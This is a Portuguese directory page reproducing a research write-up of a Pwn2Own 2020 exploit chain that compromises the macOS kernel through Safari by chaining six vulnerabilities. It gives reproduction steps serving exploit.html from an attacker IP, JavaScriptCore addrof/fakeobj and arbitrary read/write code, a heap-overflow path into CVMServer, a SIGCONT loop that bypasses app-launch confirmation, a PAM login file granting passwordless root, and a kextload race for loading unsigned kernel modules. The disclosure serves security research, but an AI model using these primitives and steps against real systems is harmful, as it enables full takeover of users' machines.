Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
pwn2own2020 — Comprometendo o kernel do macOS através do Safari ao encadear seis vulnerabilidades | Kitploit
Ferramentas/GitHubGitHub/sslab-gatech/pwn2own2020
Escalada de PrivilégiosExploraçãoShellcodeExploração de Aplicações WebTestes de PenetraçãoDesenvolvimento de PayloadsExploração de Binários
GitHubsslab-gatech/pwn2own2020

pwn2own2020

Comprometendo o kernel do macOS através do Safari ao encadear seis vulnerabilidades

Ver Repositório
41458há 5 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Comprometendo o kernel do macOS através do Safari ao encadear seis vulnerabilidades

Visão geral

Este repositório contém detalhes de exploração e técnicos de nossa submissão vencedora do Pwn2Own 2020 visando o Apple Safari com uma escalada de privilégios de kernel para o macOS 10.15.3. Para mais informações, você também pode conferir nossos slides do Blackhat USA 2020 e vídeo. Este repositório também inclui nosso vídeo de demonstração para a exploração bem-sucedida.

Como reproduzir

  1. Execute o servidor HTTP usando python3 na pasta exploits.```shell $ python3 -m http.server 80
root@kitploit:~
2. Acesse o site com o IP do servidor do atacante usando o Safari:```
http://[attacker_ip]/exploit.html
  1. Aguarde a Calculadora (geralmente abre em dez segundos, mas, se não tiver sorte, levará algum tempo) e um terminal com privilégio de kernel. Para demonstrar nossa escalada de privilégio de kernel, desabilitamos o SIP. Você pode verificar executando o comando csrutil status, que mostrará disabled.

Compilar a partir do código-fonte

Para sua conveniência, fornecemos um payload compilado, payload.js. Mas, se quiser, você pode compilá-lo você mesmo. Observe que isso levará muito tempo, pois compilaremos o WebKit como parte da nossa cadeia de exploração. Vale a pena notar que testamos nosso processo de compilação apenas no Mac OS.```shell

Install xcode first

$ python3 -m pip install --user lief $ make

root@kitploit:~
Detalhes técnicos
-----------------

Para criar este exploit, encadeamos as seguintes *SEIS* vulnerabilidades.

### 1. Execução remota de código no Safari por meio de modelagem incorreta de efeitos colaterais do operador 'in' no compilador DFG do JavaScriptCore

- Análise da causa raiz

No JavaScriptCore, quando uma propriedade indexada era consultada com o operador 'in',
o compilador DFG assume que ela não tem efeitos colaterais, a menos que haja um objeto
proxy em sua cadeia de protótipos que possa interceptar essa operação.
O JavaScriptCore marca um objeto que pode interceptar esse acesso a propriedade indexada
usando o sinalizador chamado 'MayHaveIndexedAccessors'. Esse sinalizador é
marcado explicitamente para o objeto Proxy.```javascript
0 in [] // side-effect free

let arr = [];
arr.__proto__ = new Proxy({}, {});
0 in arr // can cause side-effect!

No entanto, existe outro objeto que pode causar efeitos colaterais: o JSHTMLEmbedElement, que implementa seu próprio método getOwnPropertySlot(). Uma forma de acionar callbacks de JavaScript (ou seja, efeitos colaterais) com o operador in é usando o elemento <embed> com o plugin de PDF; quando qualquer propriedade é consultada no objeto DOM da tag embed / object, ele tenta carregar o plugin subjacente e o manipulador de eventos DOMSubtreeModified pode ser chamado no caso do plugin de PDF, porque ele usa o método appendChild no elemento body.

Este é o stack trace da chamada do efeito colateral a partir de getOwnPropertySlot().```txt Stack trace #1 0x1c1463dbb in WebKit::PDFPlugin::PDFPlugin(WebKit::WebFrame&) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x1463dbb) #2 0x1c144cac7 in WebKit::PDFPlugin::create(WebKit::WebFrame&) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x144cac7) #3 0x1c1b65d48 in WebKit::WebPage::createPlugin(WebKit::WebFrame*, WebCore::HTMLPlugInElement*, WebKit::Plugin::Parameters const&, WTF::String&) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x1b65d48) #4 0x1c18cddc4 in WebKit::WebFrameLoaderClient::createPlugin(WebCore::IntSize const&, WebCore::HTMLPlugInElement&, WTF::URL const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::String const&, bool) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x18cddc4) #5 0x1cfb3f224 in WebCore::SubframeLoader::loadPlugin(WebCore::HTMLPlugInImageElement&, WTF::URL const&, WTF::String const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, bool) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3d01224) #6 0x1cfb3f62c in WebCore::SubframeLoader::requestObject(WebCore::HTMLPlugInImageElement&, WTF::String const&, WTF::AtomString const&, WTF::String const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3d0162c) #7 0x1cf424c85 in WebCore::HTMLPlugInImageElement::requestObject(WTF::String const&, WTF::String const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35e6c85) #8 0x1cf300912 in WebCore::HTMLEmbedElement::updateWidget(WebCore::CreatePlugins) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x34c2912) #9 0x1cfd0a57e in WebCore::FrameView::updateEmbeddedObject(WebCore::RenderEmbeddedObject&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3ecc57e) #10 0x1cfd0a807 in WebCore::FrameView::updateEmbeddedObjects() (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3ecc807) #11 0x1cfcf19c7 in WebCore::FrameView::updateEmbeddedObjectsTimerFired() (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3eb39c7) #12 0x1cedbd595 in WebCore::Document::updateLayoutIgnorePendingStylesheets(WebCore::Document::RunPostLayoutTasks) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2f7f595) #13 0x1cf41b681 in WebCore::HTMLPlugInElement::renderWidgetLoadingPlugin() const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35dd681) #14 0x1cf2ffc2d in WebCore::HTMLEmbedElement::renderWidgetLoadingPlugin() const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x34c1c2d) #15 0x1cf41ad77 in WebCore::HTMLPlugInElement::pluginWidget(WebCore::HTMLPlugInElement::PluginLoadingPolicy) const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35dcd77) #16 0x1ce7b3e26 in WebCore::pluginScriptObjectFromPluginViewBase(WebCore::HTMLPlugInElement&, JSC::JSGlobalObject*) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2975e26) #17 0x1ce7b3dca in WebCore::pluginScriptObject(JSC::JSGlobalObject*, WebCore::JSHTMLElement*) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2975dca) #18 0x1ce7b4023 in WebCore::pluginElementCustomGetOwnPropertySlot(WebCore::JSHTMLElement*, JSC::JSGlobalObject*, JSC::PropertyName, JSC::PropertySlot&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2976023) #19 0x1cca3e913 in WebCore::JSHTMLEmbedElement::getOwnPropertySlot(JSC::JSObject*, JSC::JSGlobalObject*, JSC::PropertyName, JSC::PropertySlot&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xc00913) #20 0x1e946dd6c in llint_slow_path_get_by_id (.../WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x232ad6c)

root@kitploit:~
Como nenhum objeto na cadeia de protótipos está marcado com
"MayHaveIndexedAccessors", o JIT assume que este uso do operador 'in' não
tem nenhuma transição interna, eliminando as verificações de tipo de array após
a transição.```javascript
// In the frame of 

function opt(arr) {
	arr[0] = 1.1;
	100 in arr; // 100 not exists in arr, making it check __proto__
	return arr[0]
}

for(var i = 0; i < 10000; i++) opt([1.1])
arr.__proto__ = document.querySelector('embed')

document.body.addEventListener('DOMSubtreeModified', () => {
	arr[0] = {}
})

document.body.removeChild(embed)
opt([1.1]) // leaks address of {} as double value

Ao construir a primitiva addrof/fakeobj a partir disso, poderíamos criar uma primitiva de RW arbitrária para obter execução de código com a função JavaScript compilada por JIT.

  • Exploração

Depois de obter as primitivas addrof/fakeobj, nós as convertemos em primitivas addrof/fakeobj mais estáveis ao falsificar um objeto.```javascript hostObj = { // hostObj.structureId // hostObj.butterfly _: 1.1, // dummy length: (new Int64('0x4141414141414141')).asDouble(), // -> fakeHostObj = fakeObj(addressOf(hostObj) + 0x20) id: (new Int64('0x0108191700000000')).asJSValue(), butterfly: null, o: {}, executable:{ a:1, b:2, c:3, d:4, e:5, f:6, g:7, h:8, i:9, // Padding (offset: 0x58) unlinkedExecutable:{ isBuiltinFunction: 1 << 31, a:0, b:0, c:0, d:0, e:0, f:0, // Padding (offset: 0x48) identifier: null } }, // -> fakeIdentifier = fakeObj(addressOf(hostObj) + 0x40) strlen_or_id: (new Int64('0x10')).asDouble(), // String.size target: hostObj // String.data_ptr }

hostObj.executable.unlinkedExecutable.identifier = fakeIdentifier Function.prototype.toString(fakeHostObj) // function leaked-structure-id { [native code] }

root@kitploit:~
Vazamos o structure id do hostObj criando um objeto de função falso
fakeHostObj e chamando Function.prototype.toString nele. O nome da
função reflete o valor do structure id como string UTF-16. Atualizamos o
hostObj após vazar o structure id. Vale a pena notar que esta
técnica é da [palestra de Yong Wang no Blackhat EU 2019
](https://www.blackhat.com/eu-19/briefings/schedule/#thinking-outside-the-jit-compiler-understanding-and-bypassing-structureid-randomization-with-generic-and-old-school-methods-17513).```javascript
hostObj = {
                                                            // hostObj.structureId
                                                            // hostObj.butterfly
    _: 1.1,                                                 // dummy
    length: (new Int64('0x4141414141414141')).asDouble(),
                                                            // -> fakeHostObj = fakeObj(addressOf(hostObj) + 0x20)
    id: leakStructureId.asDouble(),                         // fakeHostObj.structureId
    butterfly: fakeHostObj,                                 // fakeHostObj.butterfly
    o: {},
    ...
}

Agora temos a butterfly de fakeHostObj apontando para o próprio fakeHostObj. Podemos usar a primitiva addrof/fakeobj sem disparar o bug novamente, pois podemos acessar hostObj.o como JSValue ou como double usando fakeHostObj[2].

Usando o id de estrutura vazado de attackObj e a primitiva addrof/fakeobj, podemos criar objetos como abaixo.```javascript rwObj = { // rwObj.structureId // rwObj.butterfly _: 1.1, // dummy length: (new Int64('0x4141414141414141')).asDouble(), // fakeRwObj = fakeObj(addressOf(rwObj) + 0x20) id: leakStructureId.asDouble(), // fakeRwObj.structureId butterfly: fakeRwObj, // fakeRwObj.butterfly

root@kitploit:~
__: 1.1,                                                // dummy
innerLength: (new Int64('0x4141414141414141')).asDouble(),
                                                        // fakeInnerObj = fakeObj(addressOf(rwObj) + 0x40)
innerId: leakStructureId.asDouble(),                    // fakeInnerObj.structureId
innerButterfly: fakeInnerObj,                           // fakeInnerObj.butterfly

}

root@kitploit:~
Podemos obter uma primitiva arbitrária de leitura/escrita usando o fakeRwObj para atualizar
o ponteiro butterfly do fakeInnerObj e ler/escrever de/para o fakeInnerObj. Para obter
RCE a partir da primitiva arbitrária de leitura/escrita, disparamos a compilação JIT da função dummy,
vazamos o endereço do código e o sobrescrevemos com o nosso shellcode. Às vezes,
o vazamento do endereço do código falha porque não conseguimos ler/escrever certos valores do nosso
array falso. Nesse caso, tentamos aproximá-lo lendo da localização do ponteiro
+ 1 e deslocando o valor lido. Por fim, sobrescrevemos o ponteiro
de código da função alert com o ponteiro de código da nossa função dummy e a chamamos
(com alguns argumentos) para executar o shellcode.

### 2. Abertura arbitrária de .app no Safari via link simbólico em didFailProvisionalLoad()

Para URLs file://, o Safari abre uma janela do Finder com [NSWorkspace selectFile:inFileViewerRootedAtPath:].
Essa função aceita dois parâmetros e, na maioria dos casos, o Safari usa apenas o
primeiro parâmetro, que mostra a pasta que contém o arquivo especificado. Mas
se o segundo parâmetro for usado em vez disso, o Finder abre o arquivo se ele for
executável ou um bundle de aplicativo.

O Safari usa o segundo parâmetro após confirmar que o caminho apontado não é um
bundle de aplicativo --- diretório com sufixo .app. Como um link simbólico pode
apontar para o bundle do aplicativo, mas ele não é um diretório com sufixo .app.
Assim, o Safari abrirá o aplicativo apontado pelo link simbólico. Esse
caminho de código pode ser acionado enviando a mensagem IPC didFailProvisionalLoad().

No entanto, o próprio Safari não pode criar um link simbólico devido ao filtro de chamadas de sistema
da sandbox Seatbelt. Então usamos outra vulnerabilidade que concede root, mas com
execução de código em sandbox.

### 3. Execução arbitrária de código no serviço CVM (Core Virtual Machine) via estouro de heap

Existe um serviço XPC em sandbox chamado com.apple.cvmsServ (ou seja, CVMServer),
que compila shaders para várias arquiteturas. Ele faz parte do framework
OpenGL integrado.

Para requisições com o campo "message" definido como 4, o CVMServer analisa o "framework data" e os "maps" especificados pelo usuário. O arquivo de dados "maps" está localizado em
"/System/Library/Caches/com.apple.CVMS/%s.%s.%u.maps" - o primeiro %s é
especificado pelo usuário sem nenhum filtro. Portanto, o directory traversal é possível; podemos
fazer com que ele analise o arquivo criado dentro da sandbox do Safari.```c
    FILE *fp = fopen(&framework_name_, "r");
    ...
    Header *header = malloc(0x50);
    fread(header, 0x50, 1, v132);
    ...
    items_offset = header->items_offset;
    items_count = header->items_count;
    header = realloc(header, 56 * items_count + items_offset);
    fread(&header->char50, items_offset + 56 * items_count - 0x50, 1, v132);

Se item_count * 56 + items_offset <= 0x50, fread() receberá um comprimento com underflow próximo de 2^64, tornando-se um heap overflow com payload de comprimento arbitrário. Observe que fread() para quando o final do arquivo especificado é atingido.

Ao utilizar isso, poderíamos sobrescrever o objeto de heap relacionado à conexão, o que poderia modificar os ponteiros mencionados abaixo:```c case 7: // "message" == 7 v34 = xpc_dictionary_get_uint64(input, "heap_index"); v11 = cvmsServerServiceGetMemory(a1a->session, v34, &port, &size); if ( v11 ) goto error; xpc_dictionary_set_mach_send(reply, "vm_port", port);

__int64 __fastcall cvmsServerServiceGetMemory(xpc_session *a1, unsigned __int64 index, _DWORD *port, _QWORD *a4) { Pool *pool; // rax unsigned int v7; // ebx heapitem *v8; // rax

pthread_mutex_lock((&server_globals + 2)); // a1->attachedService is controlled value pool = a1->attachedService->context->pool_ptr; v7 = 521; if ( pool->pointersCount > index ) { v8 = pool->pointers; *port = v8[index].port; *a4 = v8[index].size; v7 = 0; } pthread_mutex_unlock((&server_globals + 2)); return v7; }

root@kitploit:~
Se o valor de "port" for 0x103 (TASK-SELF), o serviço concederá ao cliente o
direito de envio do task port do CVMServer, que pode ser usado para alocar memória e
executar código arbitrário no processo. Para fazer v8[index].port == 0x103, nós
procuramos na memória da área de bibliotecas, que têm os mesmos endereços entre
os processos.```txt
rax := UserInput
[rax+0x38] = X
[X+0x30] = Length (UINT64_MAX)
[X+0x28] = Y (0)
[Y+0x18*index+0x10] = 0x103 (== mach_task_self_)

Havia muitas áreas que tinham dois valores inteiros de 64 bits 0, -1, e para rax+0x38 e X+0x30, descobrimos que _xpc_error_termination_imminent, que é um símbolo público, satisfaz essa condição. Como o comprimento é maior que 2^64 / 0x10, pudemos calcular o inverso modular para apontar Y(==0)*0x18+index+0x10 == &0x103.

Como o CVMServer tinha com.apple.security.cs.allow-jit definido, pudemos chamar mmap com a flag MAP_JIT e invocar nosso carregador reflexivo para executar arquivos dylib no processo. Executamos este código no CVMServer:```c // In /var/db/CVMS (writable folder)

char randbuf[0x1000]; sprintf(randbuf, "%lu.app", clock()); symlink(randbuf, "my.app");

// Create a valid application at my.app

root@kitploit:~
Depois de criar %lu.app e o link simbólico my.app, voltamos ao Safari e enviamos a mensagem IPC para abrir o aplicativo. Mas havia mais duas proteções: a verificação de quarentena e a verificação de abertura do aplicativo pela primeira vez.

### 4. Bypass da proteção de primeira execução de aplicativos no macOS

Se o Safari tenta executar um aplicativo pela primeira vez, ele nega a execução se o arquivo tiver um atributo chamado com.apple.quarantine ou aguarda a confirmação do usuário. Todos os arquivos criados pelo WebProcess possuem o atributo --- com.apple.quarantine; no entanto, já podemos contornar isso porque criamos a pasta no processo CVMServer, não no WebProcess. Para a confirmação do usuário, o macOS primeiro cria o processo, o suspende e continua o processo depois que o usuário clica no botão `Open`. Mas o envio do sinal SIGCONT funcionou da mesma forma que clicar no botão.

Assim, executamos este código continuamente no CVMServer após criar my.app:```c
    for(int i = 0; i < 65536; i++)
        kill(i, SIGCONT);

5. Escalação de privilégio root no cfprefsd via modificação arbitrária de permissões de arquivo/pasta causada por uma condição de corrida

cfprefsd é outro serviço XPC que permite a um usuário criar arquivos plist. Ele está localizado na CoreFoundation e é acessível a partir da maioria dos processos sem sandbox. Como já obtivemos privilégio sem sandbox para um usuário normal (ou seja, CVMServer), podemos solicitar a ele a criação de um arquivo plist se a pasta e o arquivo de destino tiverem bits de permissão suficientes que permitam ao usuário cliente gravar no arquivo. No entanto, se a pasta não existir, ele cria a pasta do arquivo plist recursivamente.

Aqui está um trecho de código do CVMServer que cria a pasta.```c _CFPrefsCreatePreferencesDirectory(path) { for(slice in path.split("/")) { cur += slice if(!mkdir(cur, 0777) || errno in (EEXIST, EISDIR)) { chmod(cur, perm) chown(cur, client_id, client_group) } else break } }

root@kitploit:~
Mas se um caminho apontar para um diretório gravável pelo utilizador, um utilizador pode substituir o diretório
apontado por `cur`, e substituí-lo por uma ligação simbólica para um ficheiro/pasta arbitrário.
Como o cfprefsd tem privilégios de root, é possível alterar o proprietário das
pastas como /etc/pam.d. Ao alterar o proprietário de /etc/pam.d, podemos escrever
/etc/pam.d/login com o seguinte conteúdo:```txt
auth       optional       pam_permit.so
auth       optional       pam_permit.so
auth       optional       pam_permit.so
auth       required       pam_permit.so
account    required       pam_permit.so
account    required       pam_permit.so
password   required       pam_permit.so
session    required       pam_permit.so
session    required       pam_permit.so
session    optional       pam_permit.so

Então o comando login root dará ao usuário um shell root sem qualquer autenticação.

6. Escalação de privilégios do kernel usando bypass de staging de módulo e condição de corrida no kextload

kextload é um dos programas que podem realizar operações de kext (Kernel Extension) no macOS. Ao executar kextload [caminho da pasta .kext], um usuário root pode carregar uma kext assinada do modo de usuário. Para impedir kexts não assinadas ou com assinatura inválida, o kextload define um callback 'authenticator' no pacote IOKitUser. Infelizmente, o caminho da kext é o único recurso disponível para o callback, sendo difícil prevenir a condição de corrida. Para mitigar isso, o kextload primeiro copia a pasta da kext para o espaço dedicado -- /Library/StagedExtensions --- que não pode ser modificado nem com privilégio de root, graças ao SIP e ao mecanismo de entitlements.

O kextload funciona da seguinte maneira. Se executarmos kextload /tmp/A.kext, o kextload copia a pasta original da kext para /Library/StagedExtensions/tmp/[UUID].kext. Em seguida, o kextload verifica as assinaturas de todos os arquivos na pasta. Se isso falhar, ele remove a pasta. Caso contrário, ele copia a pasta para /Library/StagedExtensions/tmp/A.kext e carrega este módulo.```txt $ kextload /tmp/A.kext -> copy to /Library/StagedExtensions/tmp/[UUID].kext -> validate signatures. if failed, delete the directory -> if succeeded, copy to /Library/StagedExtensions/tmp/A.kext -> load the kext

root@kitploit:~
Um problema no kextload é que esse processo pode ser encerrado por um usuário com privilégios de root. Vale notar que a referida cópia inclui um link simbólico, que será validado posteriormente. No entanto, se matarmos o processo kextload antes da validação, podemos preservar um kext inválido com um link simbólico em /Library/StagedExtensions.```txt
# assume /tmp/A.kext/symlink -> /tmp/
$ kextload /tmp/A.kext
    -> copy to /Library/StagedExtensions/tmp/[UUID].kext
    -> kill this process
    -> then, /Library/StagedExtensions/tmp/[UUID].kext/symlink will be remained

Depois disso, se executarmos outro comando kextload com kextload /tmp/[UUID].kext/symlink/B.kext, B.kext será copiado para o local gravável para um usuário com privilégios de root (por exemplo, /tmp/[UUID'].kext)``` $ kextload /tmp/[UUID].kext/symlink/B.kext -> copy to /Library/StagedExtensions/tmp/[UUID].kext/symlink/[UUID'].kext -> since symlink -> /tmp, this is equal to /tmp/[UUID'].kext.

root@kitploit:~
Após a cópia, o kextload verifica se está localizado em um local seguro, que é
`/Library/StagedExtensions/*`. Podemos colocar temporariamente o link simbólico em
/tmp/A.kext para apontar para /Library/StagedExtensions/[caminho do kext válido]. Após a
validação, podemos substituir o binário do módulo por um módulo de kernel não assinado, para
obter execução de código no kernel.

Para tornar a corrida confiável, usamos o sandbox-exec para interromper o programa no acesso
ao arquivo com o sufixo especificado.


Autores
-------
- Yonghwi Jin ([email protected])
- Jungwon Lim ([email protected])
- Insu Yun ([email protected])
- Taesoo Kim ([email protected])

Citação
--------```txt
@inproceedings{jin:pwn2own2020-safari,
  title        = {{Compromising the macOS kernel through Safari by chaining six vulnerabilities}},
  author       = {Yonghwi Jin and Jungwon Lim and Insu Yun and Taesoo Kim},
  booktitle    = {Black Hat USA Briefings (Black Hat USA)},
  month        = aug,
  year         = 2020,
  address      = {Las Vegas, NV},
}

Referências

  • https://github.com/saelo/pwn2own2018
  • https://github.com/LinusHenze/WebKit-RegEx-Exploit
  • https://github.com/niklasb/sploits/blob/master/safari/regexp-uxss.html
  • https://i.blackhat.com/eu-19/Thursday/eu-19-Wang-Thinking-Outside-The-JIT-Compiler-Understanding-And-Bypassing-StructureID-Randomization-With-Generic-And-Old-School-Methods.pdf
Baixar ferramenta